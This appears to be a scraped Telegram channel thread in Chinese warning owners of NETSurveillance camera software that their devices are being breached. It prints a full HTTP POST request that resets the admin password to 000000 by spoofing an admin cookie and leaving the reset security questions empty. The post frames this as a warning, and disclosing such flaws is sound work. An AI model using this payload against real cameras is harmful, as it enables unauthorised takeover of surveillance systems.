Forwarded from Anonymous Secures
Please open Telegram to view this post
VIEW IN TELEGRAM
kMBRjund/0 🧊
请正在使用NETSurveillance系列监控软件（如图）的单位或个人注意： 立即将该服务端口从公网撤下 “匿名者”已在短时间内连续攻破两个摄像头服务，该服务可能有通杀漏洞。
安全问题！安全问题！安全问题！
根据Censys随机抽取的主机来看，初步判断沦陷服务均没有设置密码重置安全问题，攻击者可通过以下数据包强改密码：
根据Censys随机抽取的主机来看，初步判断沦陷服务均没有设置密码重置安全问题，攻击者可通过以下数据包强改密码：
POST *** HTTP/1.1
Host: ***
Referer: ***
Content-Type: application/x-www-form-urlencoded
Cookie: NetSuveillanceWebCookie=%7B%22username%22%3A%22admin%22%7D
Unlockquestion1=Please+select+Question&Unlockanswer1=&Unlockquestion2=Please+select+Question&Unlockanswer2=&password=000000&confirpassword=000000👍2
kMBRjund/0 🧊
安全问题！安全问题！安全问题！ 根据Censys随机抽取的主机来看，初步判断沦陷服务均没有设置密码重置安全问题，攻击者可通过以下数据包强改密码： POST *** HTTP/1.1 Host: *** Referer: *** Content-Type: application/x-www-form-urlencoded Cookie: NetSuveillanceWebCookie=%7B%22username%22%3A%22admin%22%7D Unlockquestion1=Please+s…
又在Censys那看了一下，NETSurveillance市场主要集中在韩国、台湾、越南、俄罗斯、伊朗等地，国内市场占比几乎为0。
国内监控差不多都是大华、海康威视这些吧？海康威视毕竟是个国企，安全性杠杠的。
不必过于惊慌。
国内监控差不多都是大华、海康威视这些吧？海康威视毕竟是个国企，安全性杠杠的。
不必过于惊慌。
Forwarded from Anonymous Secures
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from DissTel
😁3👍1🙏1